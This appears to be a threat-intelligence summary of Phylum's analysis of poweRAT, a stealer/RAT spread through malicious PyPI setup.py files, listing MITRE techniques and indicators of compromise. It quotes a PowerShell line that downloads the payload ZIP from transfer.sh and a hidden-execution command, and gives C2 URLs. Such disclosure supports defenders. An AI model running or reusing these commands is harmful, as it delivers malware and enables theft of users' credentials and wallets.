Phylum documents a PyPI malware campaign delivering a PowerShell-based loader and a stealer/RAT combo (poweRAT) through a multi-stage setup.py, with extensive obfuscation and data theft. The campaign leverages persistence, a Cloudflare Tunnel to expose a Flask-based C2, and robust exfiltration of browser data, tokens, and crypto wallets. #pyrologin #easytimestamp #discorder #discord-dev #style.py #pythonstyles #poweRAT #cloudflared #TryCloudflare #PyPI
Keypoints
- Attack chain starts in setup.py, decoding and executing a Base64 payload to drop and run the malware.
- PowerShell is used to download a ZIP from transfer.sh, unzip it to C:/ProgramData/Updater, and install numerous invasive Python packages.
- The ZIP contains multiple components (e.g., cftunnel.py, server.pyw, launch.vbs) that enable persistence, data collection, and remote access.
- Persistence is established by placing a startup shortcut named “Updater” in the Windows startup folder.
- A Flask web app (the RAT) is launched with multi-threading, including a remote desktop-like live view and command execution capabilities.
- The malware steals cookies, browser passwords, tokens, and crypto wallets, bundles them into a ZIP, and exfiltrates via transfer.sh.
- Cloudflare Tunnel (cloudflared) is used to expose the Flask app through TryCloudflare, enabling external control without open firewall ports.
MITRE Techniques
- [T1027] Obfuscated/Compressed Files and Information – The code uses an exec of a Base64-encoded string to hide payload execution. ‘The purpose of using exec on the encoded string appears to be an attempt to thwart static analysis and/or provide some minimal form of obfuscation.’
- [T1059.001] PowerShell – PowerShell is used to download and deploy the next stage and run the payload in hidden mode. ‘Start-Process -WindowStyle Hidden -FilePath python.exe -Wait -ArgumentList …’
- [T1105] Ingress Tool Transfer – The initial payload is retrieved from an external server. ‘Invoke-WebRequest -UseBasicParsing -Uri https://transfer.sh/0tUIJu/Updater.zip -OutFile $env:tmp/update.zip’
- [T1547.001] Boot or Logon Autostart Execution – Persistence achieved by placing an Updater shortcut in the Windows startup folder. ‘The first thing this code does is try to establish persistence by putting itself into the Windows startup folder with the benign sounding name Updater.’
- [T1113] Screen Capture – Remote desktop capability with a live view; described as ‘a rudimentary remote desktop implementation with about a 1fps refresh rate.’
- [T1056.001] Input Capture – Keystroke logging component is started. ‘This one is simple, it just starts a keystroke logger:’
- [T1041] Exfiltration – Data theft and exfiltration of cookies, browser passwords, tokens, and wallets, uploaded via transfer.sh. ‘st … cookies … exfiltrates it through another transfer.sh site.’
- [T1071.001] Web Protocols – C2 over HTTP/HTTPS via a Flask app exposed through a Cloudflare tunnel. ‘Cloudflare attracts client requests and sends them to you via this daemon’ and ‘a cloudflare tunnel client on the victim’s machine.’
Indicators of Compromise
- [Domain] transfer.sh – example URL used for payload delivery and data exfiltration. – https://transfer.sh/0tUIJu/Updater.zip, and domain alone
- [Domain] onion.pet / on io n address – used for ping and data retrieval. – https://itduh2irtgjfx5gvmdxfkcetmgvmgyaqzayhruau4v57747funxuhoqd.onion.pet/ping?tunnel=…, https://itduh2irtgjfx5gvmdxfkcetmgvmgyaqzayhruau4v57747funxuhoqd.onion.pet/save?uuid=…
- [IP Address] localhost and local metrics endpoint – 127.0.0.1:8099/metrics and related localhost URL
- [File] Updater.zip, Updater, launch.vbs, server.pyw – dropped/used artifacts on disk
- [Hash] SHA256 hashes of malicious packages – 5397800c26dc73bd3dfbd91aa88964244bc8d8dc9cc533fe25f9457d317354f9, 5904cf32df705d6e5c9ad730ee425382922e5bd13d1d67212342e374d57f71c3, ede874db1e28252914553871ff9528544894e1785e8b6cd093ebe586c8472997, d0a42a9a0897e762da6b2d3796d03934dc8c2f6d7d2308dc65231497399df145, 96a2b383be58f0896d50ca93e23009729f1decfa84b6a837190dd6795227b6c6, eeef39f59c56eca1198a05f272fa27da0ba745657a59c07c13939120513495ba, discorder_2.8
Read more: https://blog.phylum.io/a-deep-dive-into-powerat-a-newly-discovered-stealer/rat-combo-polluting-pypi